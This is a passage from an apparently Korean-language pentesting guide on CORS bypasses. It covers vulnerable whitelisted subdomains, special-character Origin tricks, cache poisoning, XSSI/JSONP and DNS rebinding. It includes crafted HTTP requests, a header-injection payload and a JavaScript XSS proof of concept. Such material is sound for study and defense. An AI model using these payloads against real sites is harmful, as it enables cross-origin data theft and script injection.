๊ฐœ๋ฐœ์ž๋“ค์€ ํ—ˆ์šฉ๋œ ๋„๋ฉ”์ธ๋งŒ ์ •๋ณด๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋„๋ก ๋„๋ฉ”์ธ์„ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์— ์˜ฌ๋ ค CORS ์•…์šฉ์„ ๋ฐฉ์–ดํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ๋Œ€๋น„์ฑ…์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ์‹œ์Šคํ…œ ๋ณด์•ˆ์€ ์™„์ „ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋œ ๋„๋ฉ”์ธ ์ค‘ ๋‹จ ํ•˜๋‚˜์˜ ์ทจ์•ฝํ•œ ์„œ๋ธŒ๋„๋ฉ”์ธ๋งŒ ์žˆ์–ด๋„ XSS (Cross-Site Scripting) ๊ฐ™์€ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด CORS ์•…์šฉ์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ๋„๋ฉ”์ธ requester.com์ด ๋‹ค๋ฅธ ๋„๋ฉ”์ธ provider.com์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๋„๋ก ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์— ๋“ฑ๋ก๋˜์–ด ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ์„œ๋ฒ„ ์ธก ์„ค์ •์€ ๋Œ€๋žต ๋‹ค์Œ๊ณผ ๊ฐ™์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

์ด ์„ค์ •์—์„œ๋Š” requester.com์˜ ๋ชจ๋“  ํ•˜์œ„ ๋„๋ฉ”์ธ์ด ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ sub.requester.com ๊ฐ™์€ ํ•˜์œ„ ๋„๋ฉ”์ธ์ด XSS ์ทจ์•ฝ์ ์œผ๋กœ ํƒˆ์ทจ๋˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์ด ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด sub.requester.com์— ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด CORS ์ •์ฑ…์„ ์šฐํšŒํ•˜๊ณ  provider.com์˜ ๋ฆฌ์†Œ์Šค์— ์•…์˜์ ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŠน์ˆ˜ ๋ฌธ์ž

PortSwigger์˜ URL validation bypass cheat sheet๋Š” ์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋„๋ฉ”์ธ ์ด๋ฆ„์— ์ด์ƒํ•œ ๋ฌธ์ž๋ฅผ ํ—ˆ์šฉํ•œ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.

Chrome๊ณผ Firefox๋Š” Origin ํ—ค๋”๋ฅผ ๊ฒ€์ฆํ•˜๋„๋ก ๊ตฌํ˜„๋œ regexes๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐ‘์ค„ ๋ฌธ์ž _๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari๋Š” ๋„๋ฉ”์ธ ์ด๋ฆ„์—์„œ ํŠน์ˆ˜ ๋ฌธ์ž๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ๋ฐ ํ›จ์”ฌ ๋” ๊ด€๋Œ€ํ•ฉ๋‹ˆ๋‹ค:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

๊ธฐํƒ€ ์žฌ๋ฏธ์žˆ๋Š” URL ํŠธ๋ฆญ

URL Format Bypass

Server-side cache poisoning

From this research

HTTP header injection์„ ํ†ตํ•ด server-side cache poisoning์„ ์•…์šฉํ•˜๋ฉด ์ €์žฅ๋œ Cross-Site Scripting (XSS) ์ทจ์•ฝ์ ์ด ์œ ๋ฐœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด Origin ํ—ค๋”์˜ ๋ถˆ๋ฒ• ๋ฌธ์ž๋ฅผ ์ ์ ˆํžˆ ์ •์ œํ•˜์ง€ ๋ชปํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋ฉฐ, ํŠนํžˆ Internet Explorer ๋ฐ Edge ์‚ฌ์šฉ์ž์—๊ฒŒ ์˜ํ–ฅ์„ ์ค๋‹ˆ๋‹ค. ์ด๋“ค ๋ธŒ๋ผ์šฐ์ €๋Š” (0x0d)๋ฅผ ํ•ฉ๋ฒ•์ ์ธ HTTP ํ—ค๋” ์ข…๋ฃŒ์ž๋กœ ์ฒ˜๋ฆฌํ•˜์—ฌ HTTP header injection ์ทจ์•ฝ์ ์œผ๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค.

๋‹ค์Œ์€ Origin ํ—ค๋”๊ฐ€ ์กฐ์ž‘๋œ ์š”์ฒญ์˜ ์˜ˆ์ž…๋‹ˆ๋‹ค:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer์™€ Edge๋Š” ์‘๋‹ต์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•ด์„ํ•ฉ๋‹ˆ๋‹ค:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

์›น ๋ธŒ๋ผ์šฐ์ €๋กœ ์ž˜๋ชป๋œ ํ—ค๋”๋ฅผ ์ „์†กํ•˜๊ฒŒ ํ•˜์—ฌ ์ด ์ทจ์•ฝ์ ์„ ์ง์ ‘ ์•…์šฉํ•˜๋Š” ๊ฒƒ์€ ํ˜„์‹ค์ ์ด์ง€ ์•Š์ง€๋งŒ, Burp Suite์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ์ˆ˜์ž‘์—…์œผ๋กœ ์กฐ์ž‘๋œ ์š”์ฒญ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ server-side cache๊ฐ€ ์‘๋‹ต์„ ์ €์žฅํ•ด ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์—๊ฒŒ ์˜๋„์น˜ ์•Š๊ฒŒ ์ œ๊ณต๋˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. ์กฐ์ž‘๋œ ํŽ˜์ด๋กœ๋“œ๋Š” ํŽ˜์ด์ง€์˜ ๋ฌธ์ž ์ง‘ํ•ฉ์„ UTF-7๋กœ ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•˜๋Š”๋ฐ, UTF-7์€ ํŠน์ • ์ปจํ…์ŠคํŠธ์—์„œ ๋ฌธ์ž๋ฅผ ์Šคํฌ๋ฆฝํŠธ๋กœ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ธ์ฝ”๋”ฉํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— XSS ์ทจ์•ฝ์ ๊ณผ ๊ด€๋ จ์ด ์žˆ๋Š” ์ธ์ฝ”๋”ฉ์ด๋‹ค.

์ถ”๊ฐ€๋กœ stored XSS ์ทจ์•ฝ์ ์— ๋Œ€ํ•ด ์ฝ์–ด๋ณด๋ ค๋ฉด PortSwigger๋ฅผ ์ฐธ์กฐํ•˜๋ผ.

์ฐธ๊ณ : HTTP header injection ์ทจ์•ฝ์ ์˜ ์•…์šฉ, ํŠนํžˆ server-side cache poisoning์„ ํ†ตํ•œ ์•…์šฉ์€ HTTP headers๋ฅผ ํฌํ•จํ•œ ๋ชจ๋“  ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ฒ€์ฆํ•˜๊ณ  ์ •๋ฆฌ(sanitize)ํ•˜๋Š” ๊ฒƒ์ด ์–ผ๋งˆ๋‚˜ ์ค‘์š”ํ•œ์ง€๋ฅผ ๊ฐ•์กฐํ•œ๋‹ค. ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ๋ฐฉ์ง€ํ•˜๋ ค๋ฉด ์ž…๋ ฅ ๊ฒ€์ฆ์„ ํฌํ•จํ•œ ๊ฐ•๋ ฅํ•œ ๋ณด์•ˆ ๋ชจ๋ธ์„ ํ•ญ์ƒ ์ ์šฉํ•ด์•ผ ํ•œ๋‹ค.

Client-Side cache poisoning

From this research

์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์ ์ ˆํ•œ ์ธ์ฝ”๋”ฉ ์—†์ด ์ปค์Šคํ…€ HTTP ํ—ค๋”์˜ ๋‚ด์šฉ์„ ๋ฐ˜์˜ํ•˜๋Š” ์›น ํŽ˜์ด์ง€ ์ธ์Šคํ„ด์Šค๊ฐ€ ๊ด€์ฐฐ๋œ๋‹ค. ๊ตฌ์ฒด์ ์œผ๋กœ, ์›น ํŽ˜์ด์ง€๋Š” X-User-id ํ—ค๋”์— ํฌํ•จ๋œ ๋‚ด์šฉ์„ ๋ฐ˜์‚ฌํ•˜๋Š”๋ฐ, ์ด ๋‚ด์šฉ์—๋Š” ์•…์„ฑ JavaScript๊ฐ€ ํฌํ•จ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์˜ˆ์‹œ์—์„œ๋Š” ํ—ค๋”์— ๋กœ๋“œ ์‹œ JavaScript๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ์„ค๊ณ„๋œ SVG ์ด๋ฏธ์ง€ ํƒœ๊ทธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค.

Cross-Origin Resource Sharing (CORS) ์ •์ฑ…์€ ์ปค์Šคํ…€ ํ—ค๋” ์ „์†ก์„ ํ—ˆ์šฉํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ CORS ์ œํ•œ์œผ๋กœ ์ธํ•ด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์‘๋‹ต์„ ์ง์ ‘ ๋ Œ๋”๋งํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด ์ด๋Ÿฌํ•œ ์ฃผ์ž…์˜ ์œ ์šฉ์„ฑ์€ ์ œํ•œ์ ์œผ๋กœ ๋ณด์ผ ์ˆ˜ ์žˆ๋‹ค. ํ•ต์‹ฌ์€ ๋ธŒ๋ผ์šฐ์ €์˜ ์บ์‹œ ๋™์ž‘์„ ๊ณ ๋ คํ•  ๋•Œ ๋ฐœ์ƒํ•œ๋‹ค. Vary: Origin ํ—ค๋”๊ฐ€ ์ง€์ •๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ, ์•…์„ฑ ์‘๋‹ต์ด ๋ธŒ๋ผ์šฐ์ €์— ์บ์‹œ๋  ์ˆ˜ ์žˆ๋‹ค. ์ดํ›„ ์ด ์บ์‹œ๋œ ์‘๋‹ต์€ URL๋กœ ์ด๋™ํ•  ๋•Œ ์ง์ ‘ ๋ Œ๋”๋ง๋  ์ˆ˜ ์žˆ์–ด ์ดˆ๊ธฐ ์š”์ฒญ ์‹œ ์ง์ ‘ ๋ Œ๋”๋งํ•  ํ•„์š”๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ client-side caching์„ ํ™œ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์˜ ์‹ ๋ขฐ์„ฑ์„ ๋†’์ธ๋‹ค.

์ด ๊ณต๊ฒฉ์„ ์„ค๋ช…ํ•˜๊ธฐ ์œ„ํ•ด ์›น ํŽ˜์ด์ง€ ํ™˜๊ฒฝ(์˜ˆ: JSFiddle)์—์„œ ์‹คํ–‰๋˜๋„๋ก ์„ค๊ณ„๋œ JavaScript ์˜ˆ์ œ๊ฐ€ ์ œ๊ณต๋œ๋‹ค. ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ๊ฐ„๋‹จํ•œ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•œ๋‹ค: ์•…์„ฑ JavaScript๋ฅผ ํฌํ•จํ•œ ์ปค์Šคํ…€ ํ—ค๋”์™€ ํ•จ๊ป˜ ์ง€์ •๋œ URL๋กœ ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค. ์š”์ฒญ์ด ์„ฑ๊ณตํ•˜๋ฉด ํƒ€๊นƒ URL๋กœ ์ด๋™์„ ์‹œ๋„ํ•˜๋ฉฐ, ๋งŒ์•ฝ Vary: Origin ํ—ค๋”๋ฅผ ์ ์ ˆํžˆ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์•„ ์‘๋‹ต์ด ์บ์‹œ๋˜์–ด ์žˆ์—ˆ๋‹ค๋ฉด ์ฃผ์ž…๋œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋‹ค.

๋‹ค์Œ์€ ์ด ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋œ JavaScript์˜ ์š”์•ฝ ์„ค๋ช…์ด๋‹ค:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

์šฐํšŒ

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI(๋˜๋Š” Cross-Site Script Inclusion)๋Š” Same Origin Policy (SOP)๊ฐ€ script ํƒœ๊ทธ๋กœ ๋ฆฌ์†Œ์Šค๋ฅผ ํฌํ•จํ•  ๋•Œ ์ ์šฉ๋˜์ง€ ์•Š๋Š” ์ ์„ ์•…์šฉํ•˜๋Š” ์ทจ์•ฝ์  ์œ ํ˜•์ž…๋‹ˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ๋Š” ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์—์„œ ํฌํ•จ๋  ์ˆ˜ ์žˆ์–ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— SOP๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ script ํƒœ๊ทธ๋กœ ํฌํ•จ๋œ ์–ด๋–ค ์ฝ˜ํ…์ธ ๋“  ๊ณต๊ฒฉ์ž๊ฐ€ ์ ‘๊ทผํ•˜๊ณ  ์ฝ์„ ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ ๋™์  JavaScript๋‚˜ JSONP(JSON with Padding)์—์„œ ํŠนํžˆ ์‹ฌ๊ฐํ•ด์ง€๋ฉฐ, cookies ๊ฐ™์€ ambient-authority ์ •๋ณด๊ฐ€ ์ธ์ฆ์— ์‚ฌ์šฉ๋  ๋•Œ ๋ฌธ์ œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ์—์„œ ๋ฆฌ์†Œ์Šค๋ฅผ ์š”์ฒญํ•˜๋ฉด cookies๊ฐ€ ํฌํ•จ๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์„ ๋” ์ž˜ ์ดํ•ดํ•˜๊ณ  ์™„ํ™”ํ•˜๋ ค๋ฉด BurpSuite ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์‚ฌ์šฉํ•ด๋ณด์„ธ์š”: https://github.com/kapytein/jsonp. ์ด ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ž ์žฌ์  XSSI ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  ๋Œ€์‘ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

Read more about the difefrent types of XSSI and how to exploit them here.

์š”์ฒญ์— callback parameter๋ฅผ ์ถ”๊ฐ€ํ•ด๋ณด์„ธ์š”. ํ•ด๋‹น ํŽ˜์ด์ง€๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ JSONP๋กœ ์ „์†กํ•˜๋„๋ก ์ค€๋น„๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ ํŽ˜์ด์ง€๋Š” Content-Type: application/javascript๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉฐ ์ด๋Š” CORS ์ •์ฑ…์„ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.

์‰ฌ์šด(์“ธ๋ชจ์—†๋Š”?) ์šฐํšŒ

Access-Control-Allow-Origin ์ œํ•œ์„ ์šฐํšŒํ•˜๋Š” ํ•œ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋Œ€์‹  ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ์‘๋‹ต์„ ๋‹ค์‹œ ๋ณด๋‚ด๋„๋ก ์š”์ฒญํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์ตœ์ข… ํ”ผํ•ด์ž์˜ ์ž๊ฒฉ์ฆ๋ช…(credentials)์€ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์œผ๋กœ ์š”์ฒญ์ด ์ด๋ฃจ์–ด์ง€๊ธฐ ๋•Œ๋ฌธ์— ์ „์†ก๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

  1. CORS-escape: ์ด ๋„๊ตฌ๋Š” ์š”์ฒญ๊ณผ ํ—ค๋”๋ฅผ ์ „๋‹ฌํ•˜๋ฉด์„œ Origin ํ—ค๋”๋ฅผ ์š”์ฒญ๋œ ๋„๋ฉ”์ธ์œผ๋กœ ์Šคํ‘ธํ•‘ํ•˜๋Š” ํ”„๋ก์‹œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” CORS ์ •์ฑ…์„ ํšจ๊ณผ์ ์œผ๋กœ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์ œ ์‚ฌ์šฉ๋ฒ•์€ XMLHttpRequest์™€ ํ•จ๊ป˜ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.
  2. simple-cors-escape: ์ด ๋„๊ตฌ๋Š” ์š”์ฒญ์„ ์žˆ๋Š” ๊ทธ๋Œ€๋กœ ์ „๋‹ฌํ•˜๋Š” ๋Œ€์‹  ์„œ๋ฒ„๊ฐ€ ์ง€์ •๋œ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ž์ฒด ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋Œ€์ฒด ์ ‘๊ทผ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Iframe + Popup ์šฐํšŒ

e.origin === window.origin ๊ฐ™์€ CORS ๊ฒ€์‚ฌ๋ฅผ iframe์„ ์ƒ์„ฑํ•˜๊ณ  ๊ทธ iframe์—์„œ ์ƒˆ ์ฐฝ์„ ์—ฌ๋Š” ๊ฒƒ์œผ๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL์€ DNS ๋ ˆ์ฝ”๋“œ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ํŠน์ • ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ธฐ์ˆ ์ž…๋‹ˆ๋‹ค. ๋™์ž‘ ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. ๊ณต๊ฒฉ์ž๊ฐ€ ์›น ํŽ˜์ด์ง€๋ฅผ ๋งŒ๋“ค๊ณ  ํ”ผํ•ด์ž๊ฐ€ ์ด๋ฅผ ์ ‘์†ํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  2. ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์˜ ๋„๋ฉ”์ธ์˜ DNS(IP)๋ฅผ ํ”ผํ•ด์ž์˜ ์›น ํŽ˜์ด์ง€๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค.
  3. ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ DNS ์‘๋‹ต์„ ์บ์‹œํ•˜๋Š”๋ฐ, ์ด๋•Œ TTL(Time to Live) ๊ฐ’์ด ์–ผ๋งˆ ๋™์•ˆ ์œ ํšจํ•œ์ง€ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  4. TTL์ด ๋งŒ๋ฃŒ๋˜๋ฉด ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €๋Š” ์ƒˆ๋กœ์šด DNS ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๊ณ , ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ ํŽ˜์ด์ง€์—์„œ JavaScript ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  5. ๊ณต๊ฒฉ์ž๊ฐ€ ํ”ผํ•ด์ž์˜ IP ์ œ์–ด๋ฅผ ์œ ์ง€ํ•˜๋ฉด ํ”ผํ•ด์ž์˜ ์„œ๋ฒ„๋กœ cookies๋ฅผ ์ „์†กํ•˜์ง€ ์•Š๊ณ ๋„ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ธŒ๋ผ์šฐ์ €์—๋Š” ์บ์‹œ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์žˆ์–ด ๋‚ฎ์€ TTL ๊ฐ’์—๋„ ์ฆ‰๊ฐ์ ์ธ ์•…์šฉ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•˜์„ธ์š”.

DNS rebinding์€ ํ”ผํ•ด์ž๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ช…์‹œ์  IP ๊ฒ€์‚ฌ ์šฐํšŒ๋‚˜, ์‚ฌ์šฉ์ž๊ฐ€ ๊ฐ™์€ ํŽ˜์ด์ง€์— ์˜ค๋žœ ์‹œ๊ฐ„ ๋จธ๋ฌด๋ฅด๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ์บ์‹œ๊ฐ€ ๋งŒ๋ฃŒ๋  ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

๋น ๋ฅด๊ฒŒ DNS rebinding์„ ์•…์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://lock.cmpxchg8b.com/rebinder.html.

์ž์‹ ์˜ DNS rebinding ์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•˜๋ ค๋ฉด DNSrebinder(https://github.com/mogwailabs/DNSrebinder) ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋กœ์ปฌ ํฌํŠธ 53/udp๋ฅผ ๋…ธ์ถœํ•˜๊ณ , ํ•ด๋‹น A ๋ ˆ์ฝ”๋“œ(ns.example.com ๋“ฑ)๋ฅผ ์ƒ์„ฑํ•œ ๋’ค ๊ทธ A ์„œ๋ธŒ๋„๋ฉ”์ธ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” NS ๋ ˆ์ฝ”๋“œ๋ฅผ ๋งŒ๋“œ๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ns.example.com์˜ ์–ด๋–ค ์„œ๋ธŒ๋„๋ฉ”์ธ๋„ ํ˜ธ์ŠคํŠธ์— ์˜ํ•ด ํ•ด๊ฒฐ๋ฉ๋‹ˆ๋‹ค.

๊ณต๊ฐœ์ ์œผ๋กœ ์šด์˜๋˜๋Š” ์„œ๋ฒ„ ์˜ˆ์‹œ๋Š” http://rebind.it/singularity.html์„ ์ฐธ๊ณ ํ•˜์„ธ์š”.

DNS Rebinding via DNS Cache Flooding

DNS cache flooding์„ ํ†ตํ•œ DNS rebinding์€ ๋ธŒ๋ผ์šฐ์ €์˜ ์บ์‹ฑ ๋ฐฉ์–ด๋ฅผ ์šฐํšŒํ•˜์—ฌ ๋‘ ๋ฒˆ์งธ DNS ์š”์ฒญ์„ ๊ฐ•์ œํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ๋™์ž‘ ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. ์ดˆ๊ธฐ์—๋Š” ํ”ผํ•ด์ž๊ฐ€ DNS ์š”์ฒญ์„ ํ•˜๋ฉด ๊ณต๊ฒฉ์ž์˜ IP๋กœ ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค.
  2. ์บ์‹ฑ ๋ฐฉ์–ด๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ๊ณต๊ฒฉ์ž๋Š” service worker๋ฅผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. service worker๊ฐ€ DNS ์บ์‹œ๋ฅผ ํ”Œ๋Ÿฌ๋”ฉํ•˜์—ฌ ์บ์‹œ๋œ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„ ์ด๋ฆ„์„ ์‚ญ์ œํ•ฉ๋‹ˆ๋‹ค.
  3. ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋‘ ๋ฒˆ์งธ DNS ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋ฉด ์ด๋ฒˆ์—๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ localhost๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” 127.0.0.1๋กœ ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค.

service worker๋กœ DNS ์บ์‹œ๋ฅผ ํ”Œ๋Ÿฌ๋”ฉํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๋Š” DNS ํ•ด์„ ๊ณผ์ •์„ ์กฐ์ž‘ํ•˜๊ณ  ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋‘ ๋ฒˆ์งธ ์š”์ฒญ์„ ํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DNS Rebinding via Cache

